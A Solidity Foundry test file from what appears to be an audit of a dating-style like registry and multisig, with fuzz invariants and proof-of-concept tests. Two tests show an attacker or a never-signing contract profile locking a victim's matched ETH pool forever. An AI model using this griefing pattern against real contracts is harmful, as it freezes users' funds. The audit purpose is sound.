It is a permanent availability loss on user funds.
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
import "../src/MultiSig.sol";
import "../src/fixed/LikeRegistryFixed.sol";
contract HandlerFixed is Test {
SoulboundProfileNFT public nft;
LikeRegistryFixed public registry;
uint256 constant NORMAL_ACTORS = 6;
address[NORMAL_ACTORS] actors;
constructor() {
nft = new SoulboundProfileNFT();
registry = new LikeRegistryFixed(address(nft));
for (uint256 i; i < NORMAL_ACTORS; i++) {
actors[i] = address(uint160(0x1000 + i));
}
for (uint256 i; i < NORMAL_ACTORS; i++) {
vm.prank(actors[i]);
nft.mintProfile("actor", 25, "ipfs://p");
}
}
function like(uint256 aSeed, uint256 bSeed, uint256 valueSeed) external {
uint256 aIdx = aSeed % NORMAL_ACTORS;
uint256 bIdx = bSeed % NORMAL_ACTORS;
address a = actors[aIdx];
address b = actors[bIdx];
if (a == b) return;
if (registry.likes(a, b)) return;
uint256 value = (valueSeed % 50 + 1) * 1 ether;
vm.deal(a, value);
vm.prank(a);
registry.likeUser{value: value}(b);
}
function balanceOf(address who) external view returns (uint256) {
return registry.userBalances(who);
}
}
contract FuzzFixedAccounting is Test {
HandlerFixed handler;
function setUp() public {
handler = new HandlerFixed();
targetContract(address(handler));
}
function invariant_registry_conservation() public {
uint256 sumBal;
for (uint256 i; i < 6; i++) {
sumBal += handler.balanceOf(address(uint160(0x1000 + i)));
}
uint256 totalFees = handler.registry().getTotalFees();
uint256 bal = address(handler.registry()).balance;
assertEq(bal, sumBal + totalFees, "conservation broken");
}
function test_match_poolsExact_and_feesExact() public {
address a = address(uint160(0x1000));
address b = address(uint160(0x1001));
LikeRegistryFixed reg = handler.registry();
vm.deal(b, 100 ether);
vm.prank(b);
reg.likeUser{value: 2 ether}(a);
vm.deal(a, 100 ether);
vm.prank(a);
reg.likeUser{value: 3 ether}(b);
address wallet = vm.computeCreateAddress(address(reg), 1);
assertEq(wallet.balance, 4.5 ether, "multisig got exact 90% pool");
assertEq(reg.userBalances(a), 0, "a zeroed");
assertEq(reg.userBalances(b), 0, "b zeroed");
assertEq(address(reg).balance, 0.5 ether, "fee held as accounting");
}
function test_noDoubleClaimAfterMatch() public {
address a = address(uint160(0x1000));
address b = address(uint160(0x1001));
LikeRegistryFixed reg = handler.registry();
vm.deal(b, 10 ether);
vm.prank(b);
reg.likeUser{value: 1 ether}(a);
vm.deal(a, 10 ether);
vm.prank(a);
reg.likeUser{value: 1 ether}(b);
vm.deal(a, 10 ether);
vm.prank(a);
vm.expectRevert("Already liked");
reg.likeUser{value: 1 ether}(b);
assertEq(vm.computeCreateAddress(address(reg), 1).balance, 1.8 ether);
}
function test_matchedPool_canBeHeldHostage_forever() public {
address v = address(uint160(0x1002));
address attacker = address(uint160(0x1003));
LikeRegistryFixed reg = handler.registry();
vm.deal(v, 100 ether);
vm.prank(v);
reg.likeUser{value: 50 ether}(attacker);
vm.deal(attacker, 100 ether);
vm.prank(attacker);
reg.likeUser{value: 1 ether}(v);
address wallet = vm.computeCreateAddress(address(reg), 1);
assertEq(wallet.balance, (51 ether * 90) / 100, "50 ETH victim + 1 ETH attacker pooled");
vm.prank(v);
MultiSigWallet(payable(wallet)).submitTransaction(address(v), 45.9 ether);
vm.prank(v);
MultiSigWallet(payable(wallet)).approveTransaction(0);
vm.prank(v);
vm.expectRevert("Not enough approvals");
MultiSigWallet(payable(wallet)).executeTransaction(0);
assertEq(wallet.balance, (51 ether * 90) / 100, "pool unmovable");
}
function test_contractProfile_neverSigns_locksPool() public {
ContractProfile cp = new ContractProfile();
address v = address(uint160(0x1004));
LikeRegistryFixed reg = handler.registry();
SoulboundProfileNFT nft_ = handler.nft();
vm.prank(address(cp));
nft_.mintProfile("bot", 30, "ipfs://bot");
assertGt(nft_.profileToToken(address(cp)), 0);
vm.deal(v, 100 ether);
vm.prank(v);
reg.likeUser{value: 25 ether}(address(cp));
vm.deal(address(cp), 1 ether);
cp.likeBack(reg, v);
address wallet = vm.computeCreateAddress(address(reg), 1);
assertGt(wallet.balance, 0, "pool formed");
vm.prank(v);
MultiSigWallet(payable(wallet)).submitTransaction(address(v), (26 ether * 90) / 100);
vm.prank(v);
MultiSigWallet(payable(wallet)).approveTransaction(0);
vm.prank(v);
vm.expectRevert("Not enough approvals");
MultiSigWallet(payable(wallet)).executeTransaction(0);
assertEq(wallet.balance, (26 ether * 90) / 100, "pool unmovable");
}
}
contract ContractProfile {
function likeBack(LikeRegistryFixed registry, address target) external {
registry.likeUser{value: 1 ether}(target);
}
function onERC721Received(address, address, uint256, bytes calldata)
external
pure
returns (bytes4)
{
return this.onERC721Received.selector;
}
receive() external payable {}
}